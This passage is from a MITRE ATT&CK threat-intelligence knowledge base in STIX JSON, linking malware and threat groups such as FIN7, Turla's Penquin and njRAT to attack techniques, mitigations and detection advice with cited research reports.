type.(Citation: GitHub QuasarRAT)","modified":"2022-08-02T15:45:36.347Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"tool--da04ac30-27da-4959-a67d-450ce47d9470","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--482aa19e-062b-46b2-bf4e-802b64d80504","created":"2022-03-30T14:26:51.841Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-24T13:49:23.053Z","description":"Monitor for unexpected deletion of a virtual machine image (ex: Azure Compute Service Images `DELETE`)","relationship_type":"detects","source_ref":"x-mitre-data-component--8b4ca854-ac08-47da-b24f-601b28a39aff","target_ref":"attack-pattern--d45a3d09-b3cf-48f4-9f0f-f521ee5cb05c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--482ec859-f060-4131-a17f-5695587853e1","type":"relationship","created":"2021-04-26T15:32:17.862Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-04-26T15:41:39.451Z","description":"Limit the usage of local administrator and domain administrator accounts to be used for day-to-day operations that may expose them to potential adversaries.","relationship_type":"mitigates","source_ref":"course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f","target_ref":"attack-pattern--565275d5-fcc3-4b66-b4e7-928e4cac6b8c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--48316ab6-0019-47ad-b751-3b7efce756f2","created":"2023-04-04T21:51:15.416Z","revoked":false,"external_references":[{"source_name":"SentinelLabs Metador Sept 2022","description":"Ehrlich, A., et al. (2022, September). THE MYSTERY OF METADOR | AN UNATTRIBUTED THREAT HIDING IN TELCOS, ISPS, AND UNIVERSITIES. Retrieved January 23, 2023.","url":"https://assets.sentinelone.com/sentinellabs22/metador#page=1"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-04T21:51:15.416Z","description":"[Mafalda](https://attack.mitre.org/software/S1060) can collect files and information from a compromised host.(Citation: SentinelLabs Metador Sept 2022)","relationship_type":"uses","source_ref":"malware--3be1fb7a-0f7e-415e-8e3a-74a80d596e68","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--48318986-6d46-436a-b9ff-dd2ac1ab32a2","created":"2021-03-12T13:55:09.785Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Leonardo Turla Penquin May 2020","description":"Leonardo. (2020, May 29). MALWARE TECHNICAL INSIGHT TURLA “Penquin_x64”. Retrieved March 11, 2021.","url":"https://www.leonardo.com/documents/20142/10868623/Malware+Technical+Insight+_Turla+%E2%80%9CPenquin_x64%E2%80%9D.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-28T21:27:07.136Z","description":"[Penquin](https://attack.mitre.org/software/S0587) can report the IP of the compromised host to attacker controlled infrastructure.(Citation: Leonardo Turla Penquin May 2020)","relationship_type":"uses","source_ref":"malware--d18cb958-f4ad-4fb3-bb4f-e8994d206550","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--48357d6a-6d00-42a6-b687-cbd5a9a8ecd6","type":"relationship","created":"2021-01-05T21:50:07.511Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-01-11T19:48:38.055Z","description":"Use least privilege and protect administrative access to the Domain Controller and Active Directory Federation Services (AD FS) server. Do not create service accounts with administrative privileges.","relationship_type":"mitigates","source_ref":"course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f","target_ref":"attack-pattern--ebb42bbe-62d7-47d7-a55f-3b08b61d792d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--483772af-6fc0-487b-aa3f-4006253708b3","type":"relationship","created":"2021-09-10T14:46:10.879Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos Oblique RAT March 2021","url":"https://blog.talosintelligence.com/2021/02/obliquerat-new-campaign.html","description":"Malhotra, A. (2021, March 2). ObliqueRAT returns with new campaign using hijacked websites. Retrieved September 2, 2021."}],"modified":"2021-10-15T14:43:12.330Z","description":"[ObliqueRAT](https://attack.mitre.org/software/S0644) can discover pluggable/removable drives to extract files from.(Citation: Talos Oblique RAT March 2021)","relationship_type":"uses","source_ref":"malware--5864e59f-eb4c-43ad-83b2-b5e4fae056c9","target_ref":"attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4847b10f-f9da-4a35-8df8-e235c6244ba2","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Chaos Stolen Backdoor","description":"Sebastian Feldmann. (2018, February 14). Chaos: a Stolen Backdoor Rising Again. Retrieved March 5, 2018.","url":"http://gosecure.net/2018/02/14/chaos-stolen-backdoor-rising/"}],"modified":"2020-03-20T16:53:12.495Z","description":"[Chaos](https://attack.mitre.org/software/S0220) provides a reverse shell connection on 8338/TCP, encrypted via AES.(Citation: Chaos Stolen Backdoor)","relationship_type":"uses","source_ref":"malware--5bcd5511-6756-4824-a692-e8bb109364af","target_ref":"attack-pattern--a9d4b653-6915-42af-98b2-5758c4ceee56","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--484a1a7a-9e4e-4815-85bd-82a7ea607f2d","type":"relationship","created":"2020-03-19T15:11:39.887Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-19T15:11:39.887Z","relationship_type":"revoked-by","source_ref":"attack-pattern--0ca7beef-9bbc-4e35-97cf-437384ddce6a","target_ref":"attack-pattern--9e8b28c9-35fe-48ac-a14d-e6cc032dcbcd","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--484add44-6a43-4700-b1bc-d64f24157353","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Proofpoint Leviathan Oct 2017","description":"Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.","url":"https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets"}],"modified":"2020-03-17T01:53:17.522Z","description":"[NanHaiShu](https://attack.mitre.org/software/S0228) can download additional files from URLs.(Citation: Proofpoint Leviathan Oct 2017)","relationship_type":"uses","source_ref":"malware--705f0783-5f7d-4491-b6b7-9628e6e006d2","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4852a801-3cd3-4a97-90ef-8cb5974c80d9","type":"relationship","created":"2020-10-21T19:08:44.229Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye Metamorfo Apr 2018","url":"https://www.fireeye.com/blog/threat-research/2018/04/metamorfo-campaign-targeting-brazilian-users.html","description":"Sierra, E., Iglesias, G.. (2018, April 24). Metamorfo Campaigns Targeting Brazilian Users. Retrieved July 30, 2020."},{"source_name":"ESET Casbaneiro Oct 2019","url":"https://www.welivesecurity.com/2019/10/03/casbaneiro-trojan-dangerous-cooking/","description":"ESET Research. (2019, October 3). Casbaneiro: peculiarities of this banking Trojan that affects Brazil and Mexico. Retrieved September 23, 2021."}],"modified":"2021-09-27T17:42:20.885Z","description":"[Metamorfo](https://attack.mitre.org/software/S0455) has been delivered to victims via emails with malicious HTML attachments.(Citation: FireEye Metamorfo Apr 2018)(Citation: ESET Casbaneiro Oct 2019) ","relationship_type":"uses","source_ref":"malware--81c57a96-fc8c-4f91-af8e-63e24c2927c2","target_ref":"attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4853b508-182b-4556-bc41-5d4daa2ff28d","created":"2023-03-24T17:51:20.047Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-24T17:58:54.374Z","description":"Monitor for the creation of Registry values that may highlight storage of malicious data such as commands or payloads.","relationship_type":"detects","source_ref":"x-mitre-data-component--7f70fae7-a68d-4730-a83a-f260b9606129","target_ref":"attack-pattern--02c5abff-30bf-4703-ab92-1f6072fae939","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--4854028c-5924-478c-b274-a37f3ad5d7d2","created":"2022-04-10T16:56:54.791Z","x_mitre_version":"0.1","external_references":[{"source_name":"Unit 42 WhisperGate January 2022","url":"https://unit42.paloaltonetworks.com/ukraine-cyber-conflict-cve-2021-32648-whispergate/#whispergate-malware-family","description":"Falcone, R. et al.. (2022, January 20). Threat Brief: Ongoing Russia and Ukraine Cyber Conflict. Retrieved March 10, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[WhisperGate](https://attack.mitre.org/software/S0689) has used `InstallUtil.exe` as part of its process to disable Windows Defender.(Citation: Unit 42 WhisperGate January 2022)","modified":"2022-04-10T16:56:54.791Z","relationship_type":"uses","source_ref":"malware--49fee0b0-390e-4bde-97f8-97ed46bd19b7","target_ref":"attack-pattern--2cd950a6-16c4-404a-aa01-044322395107","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4856de0a-2635-4081-97a8-3f15593c2aa5","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant FIN7 Apr 2022","description":"Abdo, B., et al. (2022, April 4). FIN7 Power Hour: Adversary Archaeology and the Evolution of FIN7. Retrieved April 5, 2022.","url":"https://www.mandiant.com/resources/evolution-of-fin7"},{"source_name":"FireEye FIN7 April 2017","description":"Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017.","url":"https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html"},{"source_name":"Morphisec FIN7 June 2017","description":"Gorelik, M.. (2017, June 9). FIN7 Takes Another Bite at the Restaurant Industry. Retrieved July 13, 2017.","url":"http://blog.morphisec.com/fin7-attacks-restaurant-industry"},{"source_name":"FBI Flash FIN7 USB","description":"The Record. (2022, January 7). FBI: FIN7 hackers target US companies with BadUSB devices to install ransomware. Retrieved January 14, 2022.","url":"https://therecord.media/fbi-fin7-hackers-target-us-companies-with-badusb-devices-to-install-ransomware/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-04T18:10:49.057Z","description":"[FIN7](https://attack.mitre.org/groups/G0046) used a PowerShell script to launch shellcode that retrieved an additional payload.(Citation: FireEye FIN7 April 2017)(Citation: Morphisec FIN7 June 2017)(Citation: FBI Flash FIN7 USB)(Citation: Mandiant FIN7 Apr 2022)","relationship_type":"uses","source_ref":"intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4856f334-eb24-479b-992d-2a64da3851d8","created":"2024-04-17T23:46:46.382Z","revoked":false,"external_references":[{"source_name":"Mandiant Pulse Secure Update May 2021","description":"Perez, D. et al. (2021, May 27). Re-Checking Your Pulse: Updates on Chinese APT Actors Compromising Pulse Secure VPN Devices. Retrieved February 5, 2024.","url":"https://www.mandiant.com/resources/blog/updates-on-chinese-apt-compromising-pulse-secure-vpn-devices"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-17T23:46:46.382Z","description":"[APT5](https://attack.mitre.org/groups/G1023) has used the CLEANPULSE utility to insert command line strings into a targeted process to prevent certain log events from occurring.(Citation: Mandiant Pulse Secure Update May 2021)","relationship_type":"uses","source_ref":"intrusion-set--c1aab4c9-4c34-4f4f-8541-d529e46a07f9","target_ref":"attack-pattern--74d2a63f-3c7b-4852-92da-02d8fbab16da","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4859e904-e404-4bae-a106-d347c9cc2e18","type":"relationship","created":"2021-09-21T15:10:56.095Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Secureworks GOLD KINGSWOOD September 2018","url":"https://www.secureworks.com/blog/cybercriminals-increasingly-trying-to-ensnare-the-big-financial-fish","description":"CTU. (2018, September 27). Cybercriminals Increasingly Trying to Ensnare the Big Financial Fish. Retrieved September 20, 2021."}],"modified":"2021-09-21T15:10:56.095Z","description":"[SpicyOmelette](https://attack.mitre.org/software/S0646) can enumerate running software on a targeted system.(Citation: Secureworks GOLD KINGSWOOD September 2018)","relationship_type":"uses","source_ref":"malware--599cd7b5-37b5-4cdd-8174-2811531ce9d0","target_ref":"attack-pattern--e3b6daca-e963-4a69-aee6-ed4fd653ad58","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--485e7842-97ea-4c4a-bf73-5dd084434b7c","created":"2022-03-30T14:26:51.874Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"If infrastructure or patterns in malware have been previously identified, internet scanning may uncover when an adversary has staged malware to make it accessible for targeting.\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle, such as [User Execution](https://attack.mitre.org/techniques/T1204) or [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105) .","modified":"2022-04-20T12:56:09.669Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--0dcbbf4f-929c-489a-b66b-9b820d3f7f0e","target_ref":"attack-pattern--3ee16395-03f0-4690-a32e-69ce9ada0f9e","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--48649215-087c-4ded-925c-f2c3f57dcba1","type":"relationship","created":"2019-01-30T17:43:28.210Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Kaspersky Lab's Global Research & Analysis Team. (2015, August 10). Darkhotel's attacks in 2015. Retrieved November 2, 2018.","url":"https://securelist.com/darkhotels-attacks-in-2015/71713/","source_name":"Securelist Darkhotel Aug 2015"}],"modified":"2021-04-22T14:35:25.549Z","description":"[Darkhotel](https://attack.mitre.org/groups/G0012) malware can collect a list of running processes on a system.(Citation: Securelist Darkhotel Aug 2015)","relationship_type":"uses","source_ref":"intrusion-set--9e729a7e-0dd6-4097-95bf-db8d64911383","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--48652244-02b0-4a80-82a9-b99fca669d85","type":"relationship","created":"2021-10-15T13:14:38.292Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"BlackBerry CostaRicto November 2020","url":"https://blogs.blackberry.com/en/2020/11/the-costaricto-campaign-cyber-espionage-outsourced","description":"The BlackBerry Research and Intelligence Team. (2020, November 12). The CostaRicto Campaign: Cyber-Espionage Outsourced. Retrieved May 24, 2021."}],"modified":"2021-10-15T13:14:38.292Z","description":"[CostaBricks](https://attack.mitre.org/software/S0614) has been used to load [SombRAT](https://attack.mitre.org/software/S0615) onto a compromised host.(Citation: BlackBerry CostaRicto November 2020)","relationship_type":"uses","source_ref":"malware--5d342981-5194-41e7-b33f-8e91998d7d88","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4867dbb4-1e1b-45f6-9070-8e2c0c303638","type":"relationship","created":"2019-06-24T12:06:10.358Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://technet.microsoft.com/en-us/library/cc700828.aspx","description":"Microsoft. (2004, February 6). Perimeter Firewall Design. Retrieved April 25, 2016.","source_name":"TechNet Firewall Design"}],"modified":"2021-10-15T22:43:31.135Z","description":"Follow best practices for network firewall configurations to allow only necessary ports and traffic to enter and exit the network.(Citation: TechNet Firewall Design)","relationship_type":"mitigates","source_ref":"course-of-action--86598de0-b347-4928-9eb0-0acbfc21908c","target_ref":"attack-pattern--a19e86f8-1c0a-4fea-8407-23b73d615776","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--486e3108-33ad-4506-8031-7215acd5ff69","created":"2022-06-16T13:19:35.869Z","x_mitre_version":"0.1","external_references":[{"source_name":"Kaspersky Lyceum October 2021","url":"https://vblocalhost.com/uploads/VB2021-Kayal-etal.pdf","description":"Kayal, A. et al. (2021, October). LYCEUM REBORN: COUNTERINTELLIGENCE IN THE MIDDLE EAST. Retrieved June 14, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[HEXANE](https://attack.mitre.org/groups/G1001) has used tools including [BITSAdmin](https://attack.mitre.org/software/S0190) to test internet connectivity from compromised hosts.(Citation: Kaspersky Lyceum October 2021)","modified":"2022-06-16T13:22:35.469Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--f29b7c5e-2439-42ad-a86f-9f8984fafae3","target_ref":"attack-pattern--132d5b37-aac5-4378-a8dc-3127b18a73dc","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4875a71a-5600-49b2-bd30-0927db99b536","created":"2024-05-22T19:07:25.564Z","revoked":false,"external_references":[{"source_name":"SentinelOne Agrius 2021","description":"Amitai Ben & Shushan Ehrlich. (2021, May). From Wiper to Ransomware: The Evolution of Agrius. Retrieved May 21, 2024.","url":"https://assets.sentinelone.com/sentinellabs/evol-agrius"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-22T19:07:25.565Z","description":"[Agrius](https://attack.mitre.org/groups/G1030) typically uses commercial VPN services for anonymizing last-hop traffic to victim networks, such as ProtonVPN.(Citation: SentinelOne Agrius 2021)","relationship_type":"uses","source_ref":"intrusion-set--b8137919-38cb-4db0-90f3-437be885faba","target_ref":"attack-pattern--0458aab9-ad42-4eac-9e22-706a95bafee2","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--487a6f8b-669d-4d72-8be8-38a48af51308","type":"relationship","created":"2020-02-27T18:17:58.916Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://adsecurity.org/?p=2293","description":"Metcalf, S. (2015, December 31). Cracking Kerberos TGS Tickets Using Kerberoast – Exploiting Kerberos to Compromise the Active Directory Domain. Retrieved March 22, 2018.","source_name":"AdSecurity Cracking Kerberos Dec 2015"}],"modified":"2022-03-08T21:52:42.745Z","description":"Ensure strong password length (ideally 25+ characters) and complexity for service accounts and that these passwords periodically expire.(Citation: AdSecurity Cracking Kerberos Dec 2015) Also consider using Group Managed Service Accounts or another third party product such as password vaulting.(Citation: AdSecurity Cracking Kerberos Dec 2015)","relationship_type":"mitigates","source_ref":"course-of-action--90c218c3-fbf8-4830-98a7-e8cfb7eaa485","target_ref":"attack-pattern--f2877f7f-9a4c-4251-879f-1224e3006bee","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--487cc105-dd80-4b43-94ae-da23517aab6f","type":"relationship","created":"2019-01-29T19:36:02.847Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"ESET. (2017, March 30). Carbon Paper: Peering into Turla’s second stage backdoor. Retrieved November 7, 2018.","url":"https://www.welivesecurity.com/2017/03/30/carbon-paper-peering-turlas-second-stage-backdoor/","source_name":"ESET Carbon Mar 2017"}],"modified":"2020-03-16T23:38:05.594Z","description":"[Carbon](https://attack.mitre.org/software/S0335) creates a base directory that contains the files and folders that are collected.(Citation: ESET Carbon Mar 2017)","relationship_type":"uses","source_ref":"malware--b7e9880a-7a7c-4162-bddb-e28e8ef2bf1f","target_ref":"attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--487d67d7-b697-4de4-abde-decee8b17c44","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Palo Alto T9000 Feb 2016","description":"Grunzweig, J. and Miller-Osborn, J.. (2016, February 4). T9000: Advanced Modular Backdoor Uses Complex Anti-Analysis Techniques. Retrieved April 15, 2016.","url":"http://researchcenter.paloaltonetworks.com/2016/02/t9000-advanced-modular-backdoor-uses-complex-anti-analysis-techniques/"}],"modified":"2020-03-30T03:07:37.850Z","description":"[T9000](https://attack.mitre.org/software/S0098) gathers and beacons the operating system build number and CPU Architecture (32-bit/64-bit) during installation.(Citation: Palo Alto T9000 Feb 2016)","relationship_type":"uses","source_ref":"malware--876f6a77-fbc5-4e13-ab1a-5611986730a3","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--487ea754-d2dd-4e54-b16d-4e90d4e9bddb","created":"2022-03-15T19:56:31.234Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"KISA Operation Muzabi","description":"KISA. (2021). Phishing Target Reconnaissance and Attack Resource Analysis Operation Muzabi. Retrieved March 8, 2024.","url":"https://web.archive.org/web/20220328121326/https://boho.or.kr/filedownload.do?attach_file_seq=2695&attach_file_id=EpF2695.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-30T17:31:57.410Z","description":"[Kimsuky](https://attack.mitre.org/groups/G0094) has collected victim employee name information.(Citation: KISA Operation Muzabi)","relationship_type":"uses","source_ref":"intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f","target_ref":"attack-pattern--76551c52-b111-4884-bc47-ff3e728f0156","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--487f677f-4525-4a02-ac95-2a83e4a4bf7b","type":"relationship","created":"2022-02-02T15:13:34.014Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky WIRTE November 2021","url":"https://securelist.com/wirtes-campaign-in-the-middle-east-living-off-the-land-since-at-least-2019/105044","description":"Yamout, M. (2021, November 29). WIRTE’s campaign in the Middle East ‘living off the land’ since at least 2019. Retrieved February 1, 2022."}],"modified":"2022-02-02T15:13:34.015Z","description":"[LitePower](https://attack.mitre.org/software/S0680) can use a PowerShell script to execute commands.(Citation: Kaspersky WIRTE November 2021)","relationship_type":"uses","source_ref":"malware--9020f5c7-efde-4125-a4f1-1b70f1274ddd","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--48879c97-651c-4426-9093-bd8c4939fc19","type":"relationship","created":"2020-10-08T18:47:57.442Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Pascual, C. (2018, November 27). AutoIt-Compiled Worm Affecting Removable Media Delivers Fileless Version of BLADABINDI/njRAT Backdoor. Retrieved June 4, 2019.","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/autoit-compiled-worm-affecting-removable-media-delivers-fileless-version-of-bladabindi-njrat-backdoor/","source_name":"Trend Micro njRAT 2018"}],"modified":"2020-10-08T18:47:57.442Z","description":"[njRAT](https://attack.mitre.org/software/S0385) has used the ShellExecute() function within a script.(Citation: Trend Micro njRAT 2018)","relationship_type":"uses","source_ref":"malware--d906e6f7-434c-44c0-b51a-ed50af8f7945","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4887f5b0-45ed-4848-a984-4e72263e33d8","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Forcepoint Felismus Mar 2017","description":"Somerville, L. 